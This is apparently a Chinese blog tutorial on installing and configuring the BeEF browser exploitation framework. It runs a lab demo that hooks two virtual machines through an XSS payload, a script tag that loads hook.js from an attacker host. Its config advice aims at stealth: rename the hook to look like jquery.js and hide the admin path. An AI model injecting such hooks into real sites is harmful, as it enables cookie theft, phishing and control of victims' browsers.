xss利用——BeEF#stage1
全文概览

简介
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。BeEF的总体思路就是在内网下通过arp欺骗,修改response包,加入我们的钩子。这个框架也属于cs的结构,具体可以看下图。

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器
systemctl start beef-xss.service #开启beef
systemctl stop beef-xss.service #关闭beef
systemctl restart beef-xss.service #重启beef
公网安装
在公网Ubuntu17下安装beef
首先在vps中,初始用户一般是root。root是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。
#创建一个beef的用户
useradd -m -d /home/beef -s /bin/bash beef
#设置beef的密码,最好使用强密码
passwd beef
#把beef用户加入sudo, root 组
usermod -aG root,sudo beef
#转到beef用户
su beef
接着就是安装beef了
#进入家目录
cd
#获取源文件
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
#解压master.zip
unzip master.zip
cd beef-master
#安装beef
./install
笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法
sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
#再次运行
./install
把beef从sudo, root 组中移除
#运行
sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
sudo gpasswd -d beef root && gpasswd -d beef sudo
最后运行beef, 建议别使用root来运行beef服务器, 既然已经创建了一个id为beef的用户,那么以后都以这个用户来运行beef服务器会更好。
#进入beef所在目录
cd /home/beef/beef-master
#以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
nohup ./beef &
配置
kali下的BeEF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:
### 指定某个网段,只有在这个网段的浏览器才能被hook
permitted_hooking_subnet: "0.0.0.0/0" ### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
permitted_ui_subnet: "0.0.0.0/0" ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置 ### 设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
host: "0.0.0.0" ### 设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
port: "3000" ### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
xhr_poll_timeout: 1000 #public: "" # public hostname/IP address
#public_port: "" # experimental
### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。 ### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
web_ui_basepath: "/ui" ### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
hook_file: "/hook.js" ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
credentials:
user: "beef"
passwd: "beef"
默认无法使用msf模块,因此还需要作如下配置连接msf。


注:host不可用127.0.0.1
启动msf


挂马(初始控制)
启动kali beef端(IP:192.168.187.149)

如果一个网站有XSS漏洞,然后你通过某种方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)发到这个有XSS漏洞的页面,受害者点击或者直接访问那个界面时,就会不断请求Attacker端的hook.js,以此实现盗cookie/钓鱼等操作。
Win2003(IP:192.168.187.148)的WWW主目录下有一网页1.html。
本地访问

主机访问

回到Attacker端,可以看见虚拟机win2003和主机win10都已上钩

参考文章
https://blog.csdn.net/Fly_hps/article/details/81940388
https://blog.csdn.net/m0_37268841/article/details/80091615
xss利用——BeEF#stage1的更多相关文章
- xss利用——BeEF#stage4(其余功能介绍)
目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...
- xss利用——BeEF#stage2(初始并持续化控制)
全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...
- xss利用——BeEF#stage3(绕过同源策略与浏览器代理)
绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...
- 利用Beef劫持客户端浏览器
利用Beef劫持客户端浏览器 环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...
- xss利用和检测平台
xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...
- 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传
1. 文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...
- xss利用
xss盗取cookie 什么是cookie cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置 ...
- 利用BeEF REST API自动化控制僵尸主机
本文首发Freebuf,属于原创奖励计划,未经许可禁止转载. http://www.freebuf.com/articles/network/137662.html 一. 前言 关于BeEF,不再多介 ...
- XSS之Beef的使用
0x01 Beef简介 BeEF是The Browser Exploitation Framework的缩写.它是一种专注于Web浏览器的渗透测试工具. beef管理.挂钩web浏览器的过程: 生成交 ...
随机推荐
- 第2篇scrum
第2篇scrum 一.站立式会议 1.1会议照片 想得美 1.2项目进展 团队成员 昨日完成任务 今日计划任务 感想 吴茂平 完善用户系统 改进评论数据表,增加评论,删除评论,查询评论 今天也是元气满 ...
- better-scroll实现滚动
通过better-scroll这个插件实现微信好友滚动列表 安装better-scroll npm i better-scroll 初始化better-scroll //better-scroll ...
- Helix QAC/QAC++—代码静态测试工具介绍—符合功能安全标准MISRA ISO26262
Helix QAC是静态代码分析工具,依据C和C++编码规则自动扫描代码对规则的违背.开发团队在开发过程的早期就可以用它来检测缺陷,因为此时修改代码是最方便也最经济的.Helix QAC因此自动化强制 ...
- 外贸网站SEO优化哪家公司好
http://www.wocaoseo.com/thread-98-1-1.html 随着b2c的崛起,越来越多的企业已经放弃挂在第三方面台销售,而是选择去建独立的商场,拥有一个属于自已 ...
- Azure Storage 系列(一)入门简介
一,引言 今天作为新的Azure 资源介绍的开篇,我们来学习一个新的服务,Azure Storage.众所周知,我们实际在开发过程中,会需要存储一些比如说日志,图片,等等,各种类型的数据.比如说存储图 ...
- day41:MYSQL:select查询练习题
目录 1.表结构 2.创建表和插入数据 3.习题 1.表结构 2.建表和插入数据 # 创建班级表 create table class( cid int primary key auto_increm ...
- e3mall商城总结13之订单确认(有BUG)
说在前面的话 上一节说了购物车的生成,本节主要说了在购物车的列表上去结算,从而生成一个未支付的订单,生成的订单默认状态为1, 题目说的BUG是因为所有数据都是通过前端向后端生成的,包括订单的金额.因此 ...
- 存储过程中拼接SQL语句
很多时候我们需要利用参数在存储过程中重新组织SQL语句,在存储过程中拼接的SQL语句只是一个字符串,不会被直接执行,所以加一个execute执行它就可以了.具体看如下演示代码: 代码: set ANS ...
- Oracle数据库访问客户端 sqldeveloper-19.2.1.247.2212-x64 下载
Oracle数据库访问客户端 sqldeveloper-19.2.1.247.2212-x64 地址:https://pan.baidu.com/s/1iojCVxwXocyM8oObTf0xaw 这 ...
- Java使用Filter用户权限控制
package com.mvc.test; import javax.servlet.ServletException; import javax.servlet.annotation.WebServ ...